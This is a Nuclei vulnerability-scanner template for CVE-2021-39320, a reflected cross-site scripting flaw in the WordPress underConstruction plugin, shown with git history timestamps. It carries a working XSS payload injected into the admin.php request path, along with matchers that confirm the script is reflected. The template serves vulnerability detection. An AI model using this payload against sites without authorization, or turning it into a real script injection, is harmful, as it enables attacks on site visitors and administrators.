nuclei-templates/cves/2021/CVE-2021-39320.yaml

38 lines
1.2 KiB
YAML
Raw Normal View History

2021-09-27 17:15:53 +00:00
id: CVE-2021-39320
info:
name: underConstruction < 1.19 - Reflected Cross-Site Scripting
author: dhiyaneshDK
severity: medium
2021-09-28 10:13:21 +00:00
description: The underConstruction plugin <= 1.18 for WordPress echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file. On certain configurations including Apache+modPHP, this makes it possible to use it to perform a reflected Cross-Site Scripting attack by injecting malicious code in the request path.
2021-09-27 17:15:53 +00:00
reference:
- https://wpscan.com/vulnerability/49ae1df0-d6d2-4cbb-9a9d-bf3599429875
2021-09-28 10:13:21 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-39320
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.10
cve-id: CVE-2021-39320
cwe-id: CWE-79
2021-09-28 10:13:21 +00:00
tags: wordpress,xss,cve,cve2021,wp-plugin
2021-09-27 17:15:53 +00:00
requests:
- method: GET
path:
2021-09-28 10:13:21 +00:00
- '{{BaseURL}}/wp-admin/admin.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E/?page=under-construction'
2021-09-27 17:15:53 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2021-09-28 10:13:21 +00:00
- '</script><script>alert(document.domain)</script>'
2021-09-27 17:15:53 +00:00
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200